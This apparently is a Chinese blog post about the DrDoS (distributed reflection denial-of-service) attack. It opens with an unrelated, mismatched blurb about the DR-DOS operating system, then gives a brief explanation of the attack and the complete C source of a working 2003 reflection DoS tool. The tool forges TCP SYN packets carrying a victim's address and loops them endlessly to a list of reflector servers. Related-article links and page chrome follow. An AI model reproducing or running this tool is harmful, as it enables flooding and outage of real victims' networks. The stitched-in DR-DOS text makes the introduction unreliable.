DRDoS软件的C源代码

DR-DOS(Digital Research-Disk Operating System)是數位研究公司 (Digital Research-Disk Operating System)是(Digital Research,很多人都和(Digital Equipment Corporation, DEC)混淆,其實兩家公司完全沒有關係)开发的,最初用于上的一种。主要支持。从1990年代PC机广泛使用开始,DR-DOS系统被逐步被取代。到1995年全面采用时,DOS的影响开始减小,DR-DOS也随之在桌面市场迅速衰落。1999年,DR-DOS推出7.03版本,随后在一段时间内一直未有正式更新。 阅读详情
这是DDoS攻击的变形,它与DDoS的不同之处就是DrDoS不需要在实际攻击之前占领大量的傀儡机。这种攻击也是在伪造数据包源地址的情况下进行的,从这一点上说与Smurf攻击一样,而DrDoS是可以在广域网上进行的。其名称中的"r"意为反射,就是这种攻击行为最大的特点。黑客同样利用特殊的发包工具,首先把伪造了源地址的SYN连接请求包发送到那些被欺骗的计算机上,根据TCP三次握手的规则,这些计算机会向源IP发出SYN+ACK或RST包来响应这个请求。同Smurf攻击一样,黑客所发送的请求包的源IP地址是被害者的地址,这样受欺骗的计算机就都会把回应发到受害者处,造成该主机忙于处理这些回应而被拒绝服务攻击。
废话不多说了,大家看源码吧!


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>

#define IPHDRSIZE sizeof(struct iphdr)
#define TCPHDRSIZE sizeof(struct tcphdr)
#define PSEUDOHDRSIZE sizeof(struct pseudohdr)

struct pseudohdr
{
unsigned long saddr;
unsigned long daddr;
char useless;
unsigned char protocol;
unsigned short length;
};
struct forcksum
{
struct pseudohdr pseudo;
struct tcphdr tcp;
};

unsigned short in_cksum(unsigned short * addr,int len);
int main(int argc,char * argv[]);

int main(int argc,char * argv[])
{
int val;

char fname[1000];
FILE * list;

char * packet;
struct iphdr * ip;
struct tcphdr * tcp;
struct forcksum helpcksum;

int serverfd;
struct sockaddr_in server;

char saddr[100],daddr[100];
unsigned short a,b,c,d,sport,dport,tport;

if (argc != 3)
{
printf("/nDistributed Reflection DoS tool - v1.0/n");
printf("Copyright (C) 2003 KrystalEye.com/n/n");
printf("Usage: %s <list> <target IP>/n/n",argv[0]);
printf(" -list : Path to Zombies (/"Reflection Servers/") list file/n");
printf(" -target IP: IP address of target/n/n");
printf("*** Syntax of list file ***/n");
printf(" -Each line contains 1 zombie's information/n");
printf(" -Each zombie is described by 5 numbers:/n");
printf(" 4 octets of IP address (without '.') and Port number/n");
printf(" -Numbers are seperated by at least 1 blank character (' ')/n");
printf("Example: 203 162 56 78 80/n");
printf(" => IP: 203.162.56.78 || Port: 80/n/n");
printf("Email: ngmnhat@yahoo.com/n");
printf("Good luck! Thanks for using this tool!/n/n");
exit(-1);
}
else
{
sprintf(fname,"%s",argv[1]);
sprintf(saddr,"%s",argv[2]);
sprintf(daddr,"%s",argv[2]);
tport = random() % 10000;
sport = tport;
dport = tport;
}

if ((packet = (char *)malloc(IPHDRSIZE + TCPHDRSIZE)) == NULL)
{
printf("Error: malloc()/n");
exit(-1);
}

bzero(packet,sizeof(packet));
bzero(&helpcksum,sizeof(helpcksum));

ip = (struct iphdr *)packet;
tcp = (struct tcphdr *)(packet + IPHDRSIZE);

helpcksum.pseudo.saddr = inet_addr(saddr);
helpcksum.pseudo.daddr = inet_addr(daddr);
helpcksum.pseudo.useless = 0;
helpcksum.pseudo.protocol = IPPROTO_TCP;
helpcksum.pseudo.length = htons(TCPHDRSIZE);

tcp->source = htons(sport);
tcp->dest = htons(dport);
tcp->seq = htonl(random());
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->fin = 0;
tcp->syn = 1;
tcp->rst = 0;
tcp->psh = 0;
tcp->ack = 0;
tcp->window = htons(65535);
tcp->urg_ptr = 0;
tcp->check = 0;
helpcksum.tcp = *tcp;
tcp->check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE + PSEUDOHDRSIZE);

ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = IPHDRSIZE + TCPHDRSIZE;
ip->id = random();
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->saddr = inet_addr(saddr);
ip->daddr = inet_addr(daddr);
ip->check = 0;
ip->check = in_cksum((unsigned short *)ip,IPHDRSIZE);

if ((serverfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
{
printf("Error: socket()/n");
exit(-1);
}

setsockopt(serverfd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(int));

bzero(&server,sizeof(struct sockaddr));
server.sin_family = AF_INET;

if ((list = fopen(fname,"r")) == NULL)
{
printf("Error: cannot open file/n");
exit(-1);
}
fscanf(list,"%hu",&a);
if (feof(list))
{
printf("Error: empty list/n");
fclose(list);
exit(-1);
}
fclose(list);

printf("/nAttacking %s.../n/n",argv[2]);
printf("Press <Ctrl-C> to Stop./n");

while (1)
{
list = fopen(fname,"r");

while (!feof(list))
{
fscanf(list," %hu %hu %hu %hu %hu",&a,&b,&c,&d,&tport);

sprintf(daddr,"%hu.%hu.%hu.%hu",a,b,c,d);

helpcksum.pseudo.daddr = inet_addr(daddr);

ip->daddr = inet_addr(daddr);
ip->id = random();
ip->check = 0;

dport = tport;

tcp->source = htons(random() % 10000);
tcp->dest = htons(dport);
tcp->seq = htonl(random());
tcp->check = 0;
helpcksum.tcp = *tcp;

tcp->check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE + PSEUDOHDRSIZE);
ip->check = in_cksum((unsigned short *)ip,IPHDRSIZE);

server.sin_addr.s_addr = inet_addr(daddr);
server.sin_port = htons(dport);

sendto(serverfd,packet,ip->tot_len,0,(struct sockaddr *)&server,sizeof(struct sockaddr));

usleep(100);
}

fclose(list);
}

close(serverfd);
return 0;
}

unsigned short in_cksum(unsigned short * addr,int len)
{
register int sum = 0;
u_short answer = 0;
register u_short * w = addr;
register int nleft = len;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
15、深入解析DNS安全:攻击、防护与检测技术 本博客深入探讨了DNS安全相关的多种攻击类型及其防护与检测技术。内容涵盖DDoS、DRDoS和DoS攻击的原理与实施步骤,以及DNS欺骗和缓存投毒的机制与危害。博客还介绍了DNS安全扩展(DNSSEC)和模糊测试等检测技术,并提出了针对各类攻击的有效防护策略。通过全面的安全策略制定与实施,帮助读者提升DNS安全性,保障网络环境的稳定与数据安全。 阅读详情

相关推荐

23、网络安全威胁:UDP反射器扫描与GPU风扇数据泄露

本文探讨了两种新兴的网络安全威胁:UDP反射器扫描和GPU风扇数据泄露攻击。通过对北欧地区的研究,揭示了SNMP和SSDP协议在分布式反射拒绝服务(DRDoS)攻击中的高放大潜力,以及家用物联网设备成为潜在攻击媒介的风险。此外,还介绍了攻击者如何通过GPU风扇的声学信号从气隙网络中窃取敏感数据,并提出了相关的防御策略和技术应对措施。文章强调了网络安全威胁的多样化和隐蔽化趋势,呼吁加强技术防护与管理措施,以保障网络与数据安全。

assembly8low的博客 78

ddos攻击教程:攻击原理与防御方法解析

<br />DoS攻击、DDoS攻击和DRDoS攻击相信大家已经早有耳闻了吧!DoS是Denial of Service的简写就是拒绝服务,而DDoS就是Distributed Denial of Service的简写就是分布式拒绝服务,而DRDoS就是Distributed Reflection Denial of Service的简写,这是分布反射式拒绝服务的意思。<br /><br />不过这3中攻击方法最厉害的还是DDoS,那个DRDoS攻击虽然是新近出的一种攻击方法,但它只是DDoS攻击的变形,它

ban0203的专栏 1342

r2dr2-udp-drdos-tool:DRDoS UDP放大工具

r2dr2-udp-drdos工具 UDP放大DRDoS工具(BETA) 创建DRDoS UDP放大攻击的简单应用程序。 特征 允许对公共src地址进行IP欺骗。 通过引入十六进制有效载荷,允许利用多重服务。 经验证的与协议的兼容性:Citrix ICA,SIP,NTP,CharGEN。 允许可配置的多线程系统。 允许在同一二进制文件上旋转系统(打开9000 / udp端口)。 请阅读以下项目的评论(包括示例视频): 西班牙语: : 英文: : 要求 .NET Framework v4.5.1(较旧的版本可能会导致崩溃) WinPcap v4.1.3 不在具有活动BCP 38入口过滤功能的网络上(仅当您想要欺骗公共IP时)。 64位操作系统。 用法 配置并加载JSON配置文件(请参阅Binary文件夹中的示例)。 选择您要使用的接口。 点击“ Empezar”

面试题:什么是DoS、DDoS、DRDoS攻击?

DDoS 攻击是指攻击发起方利用许多数以千计的计算机或网络设备向同一目标系统发动攻击,分散了攻击的来源,特别难以阻挡,同时攻击的威力非常大。DRDoS 攻击是 DDoS 的一种变体,其利用反射放大攻击技术, 利用未经配置的支持 UPnP、DNS、SNMP 等协议的服务器的开放端口,向目标服务器发起大量数据流量请求。举个例子,攻击者使用木马病毒感染了大量用户的电脑,在需要发动攻击时通过命令控制众多肉鸡发送攻击流量,将目标服务器的带宽压力加大,最终使目标服务器无法快速处理用户请求而崩溃。

jakelihua 909

drdos8.1启动盘

drdos8.1启动盘,相当不错的一个DOS系统! 喜欢的快下载吧!

AutoLisp文件(.lsp)从编写到加载运行:一份给CAD新手的避坑指南

本文为CAD新手提供了一份AutoLisp文件(.lsp)从编写到加载运行的完整指南,涵盖编写环境配置、文件加载流程、调试技巧及工程化实践建议。通过详细的步骤和常见错误解决方案,帮助用户避免常见陷阱,提升AutoLisp脚本的开发效率和应用效果。

weixin_29228203的博客 894

DoS、DDoS、DRDoS 攻击都是什么?作为网工天命人应该了解!

攻击者利用一些存在漏洞的服务器(如 DNS 服务器、NTP 服务器等),向这些服务器发送伪造的请求数据包,这些请求数据包的源 IP 地址被设置为攻击目标的 IP 地址。服务器接收到请求后,会向攻击目标发送响应数据包,由于服务器的响应数据包通常比请求数据包大得多,所以可以用较小的攻击流量引发巨大的攻击效果。DDoS 攻击的规模通常比 DoS 攻击更大,可以轻松地使目标系统的网络带宽耗尽,服务器资源过载,导致服务完全中断。2. 定期更新系统和软件,修复已知的安全漏洞,减少被攻击的风险。

chinansa的博客 812

SOLIDWORKS2024安装卡顿?Edge WebView2 Runtime冲突的排查与修复

本文针对SOLIDWORKS 2024安装时setup.exe无响应或卡死的常见问题,深入剖析了其根本原因在于Microsoft Edge WebView2 Runtime的版本冲突或组件损坏。文章提供了三种经过验证的解决方案:一是通过运行安装包内swwi\data目录下的setup.exe直接绕过图形界面;二是彻底卸载并重装官方Edge WebView2 Runtime组件;三是进行系统级修复与排查。旨在帮助用户快速定位并解决安装障碍,顺利完成软件部署。

4k5l6j7h8的博客 289

计算机网络之什么是 DoS、DDoS、DRDoS 攻击

计算机网络之什么是 DoS、DDoS、DRDoS 攻击

weixin_52690231的博客 1582

海洋与地质地理信息数据下载网站汇总集锦

各种海洋与地质地理信息数据集合

qq_36980284的博客 1268

【福建dem】原始高程数据tif格式

DEM(Digital Elevation Model,数字高程模型)是一种地理信息系统中的关键数据集,它提供了地表地形的三维信息,通常用于分析地貌特征、模拟水文过程、规划建设、灾害预警等多个领域。这种数据对于地理分析非常有价值,例如,它可以用于计算坡度、坡向、地形粗糙度等地形特征,或者进行洪水模拟、地质灾害评估、太阳能辐射分析等。“福建dem原始高程数据tif格式”是研究和理解福建省地形地貌的重要资源,结合GIS工具,可以揭示丰富的地理信息,为科研、工程和决策提供有力支持。

鸿业远图科技 943

拒绝服务攻击(DoS/DDoS/DRDoS)详解:洪水猛兽的防御之道

DoS/DDoS/DRDoS 攻击是网络安全领域中一个持续存在且不断演变的威胁。没有一劳永逸的解决方案,防御是一个持续的过程,需要根据攻击技术的发展不断调整和升级策略。通过构建多层次的防御体系,结合充足的资源准备、先进的流量清洗技术、健壮的应用设计以及完善的应急响应机制,企业和个人可以最大限度地降低拒绝服务攻击带来的风险,保障在线业务的连续性和可用性。

m0_73762612的博客 1761

【推荐100个unity插件】基于关节物理控制的自行车、电动车、摩托车模拟解决方案——Simple Bicycle Physics

摘要 "简易自行车物理"是Unity的自行车模拟资源包,支持Animation Rigging,实现基于关节物理的自行车控制。兼容所有平台和渲染管线,包含预制体、材质、脚本等资源。核心脚本Bicycle Controller管理自行车物理属性,支持自定义角色设置和移动端控制。安装后,用户可快速配置骑行场景,调整转向、速度、重心等参数,并支持地面贴合、兔跳等功能。适用于开发各类自行车模拟游戏和应用。 (字数:149)

向宇的博客,专注php/web全栈 unity游戏开发,欢迎大家评论纠错 1366

基于Memcached的DRDos的研究与攻击复现

【声明】本文仅作学习研究之用,欢迎一起探讨,请勿发动恶意攻击,否则后果自负!核弹级DDoS攻击肆掠全球进入3月,春天到了,万物复苏,又到了动物交配的季节!咦!不对不对,我要说什么来着。。O(∩_∩)O哈哈~皮这么一下确实很好玩哦 (^▽^)) 下面咱们说说正事,自从进入三月份啊,爆炸性的新闻就不断啊!先是阿里云爆出成功监控和防御一起流量高达758.6Gbps的Memcached DDoS反射攻击接...

Drongin的博客 2664

12、硬件工程师笔试面试——MOS管(2025版本)

在设计和测试过程中,可以参考相关的EMC测试标准和指南,如CE认证EMC电磁兼容测试介绍 和电磁兼容性(EMC)测试方法与整改指南 ,以及电磁兼容(EMC)的标准与测试内容 ,来确保MOSFET的EMC性能符合行业标准。在高频应用中,MOSFET的开关速度对电路的整体性能至关重要。是一款高电压同步N沟道MOSFET驱动器,具有自举电源电压至114V的能力,宽VCC电压范围,自适应贯通保护功能,以及高达1.4A的峰值顶端栅极上拉电流,适用于分布式电源架构、汽车电源、高密度电源模块和电信系统等应用。

XU157303764的博客 7090

Python 爬虫实战:抓取新闻网站上的新闻标题和内容

随着信息化的进展,新闻网站已经成为人们获取新闻和时事资讯的主要途径。许多新闻网站提供了丰富的内容,涵盖了社会、政治、科技、娱乐等多个领域。通过抓取新闻网站的内容,我们可以分析新闻的趋势,获取某一领域的最新动态,甚至为数据分析和机器学习提供数据支持。本文将详细介绍如何使用 Python 编写爬虫,抓取新闻网站上的新闻标题和内容。requests:发送 HTTP 请求,获取页面内容。:解析 HTML 页面并提取数据。Selenium:抓取动态加载的网页内容。新闻API。

2201_76125261的博客 3407

DRDOS,Novell DRDOS,Calder DRDOS, Real32 DOS 多用户多任务操作系统使用心得

眨眼一看,哇!怎么这么多乱七八糟的DOS。是啊,不光是DOS白道上乱,DOS黑道上也是病毒丛生,互相抄袭、互相攻击。现在的黑客勒索,好赖还知道要钱,那时的黑客就是破坏,经常是损人不利己,连点儿规矩也没有,比黑帮还差。好了,我简单说一下安装方法吧(我是在实体机T810主板,带一个ISA槽,特意留在手里的宝贝机哈)。 1. 先去下载REAL32 7.94 在WinWorld去找,那地方有,有全系列MS-DOS,全系列DRDOS,还有CPM等多用户多任务的DOS,其中就包括 REAL32。这古懂有软件没用户手

weixin_45707491的博客 1317

面向精准医疗的多模态影像融合:实现前列腺MRI与大病理切片的三维配准与空间重建研究

亲爱的同学,当你能完整实现“前列腺MRI与大病理组织学图像的3D配准及体素重建”,你会发现医学影像交叉领域的毕设课题充满挑战与乐趣。我们将从临床需求出发,拆解3D配准与体素重建的核心技术,带你从原理到代码实现完整流程,让你的毕设不仅能顺利完成,更能体现临床应用价值。,让MRI和病理图像在同一空间对齐,能实现“术前影像-术后病理”的精准关联,为前列腺癌的精准诊疗、预后评估提供关键依据——这一课题既有技术挑战性,又有临床意义,是毕设的优质选择。(如NCC、Dice、配准时间),用数据证明方法的优越性。

m0_71589036的博客 4717

拒绝服务(DOS/DDOS/DRDOS)

DOS是Denial of Service的简写,就是拒绝服务, DDOS是Distributed Denial of Service的简写,就是分布式拒绝服务, DRDOS是Distributed Reflection Denial of Service的简写,这是分布反射式拒绝服务的意思。 TCP握手协议 在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接...

weixin_34319999的博客 202

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

一个DDOS工具源码

/**************************************************************************//* DRDoS - Distributed Reflection Denial of Service tool           *//*                                                 *//*

starshift的专栏 2213

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

NTP 相关信息整理 & DRDoS

部分参考自: 浅谈基于 NTP 的反射和放大攻击 这个是搭建服务器和一些讲解:NTP反射型DDos攻击FAQ/补遗 协议字段讲解 集美大学 关于警惕近期多发NTP反射放大攻击的预警通报 如何发现 NTP 放大攻击漏洞 NTP 工作原理详解 如何发现 NTP 放大攻击漏洞 Linux被DDOS&CC攻击解决实例 浅析各类DDoS攻击放大技术 NMAP扫描UDP123

这个博客,写给十年后的自己...... 5112

ddos

译者注: 前几天收到朋友寄来的这篇文章,觉得相当有意思,所以就翻译出来了。因为时间比较紧,我只翻译了原理及防御部分,前面还有一堆关于拒绝服务攻击历史及理论的一堆废话,想看到朋友请去http://grc.com/dos/drdos.htm 看原文。请不要来跟我们来要exploit,有心的朋友把那些在网上早已传烂了的SYN Flood 工具改一改(甚至改都不用改)就可以拿来做这个用了。这篇文章算是给国

frikefox的专栏 917

二十年间的失败软件和系统

作者:Snake 来源:PCPOP 今天看到一篇文章,叫“回首前尘往事,七大没落软件排名”,里面写的是这十年来的七大没落软件,我想补充一下,将前二十年的胜利者和失败者也做一个总结,当然,里面说道的大部分名词,现在很多人可能都是闻所未闻的。 DOS对C/PM 结果:Bill Gates一旦从几位朋友那儿得到了DOS(磁盘操作系统)并转让给IBM后,Gary Kildall的C/PM(微机控制程序

软件开发资料汇总 599
上一篇: 过卡巴注册表主动防御
下一篇: 一个反汇编的例子
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值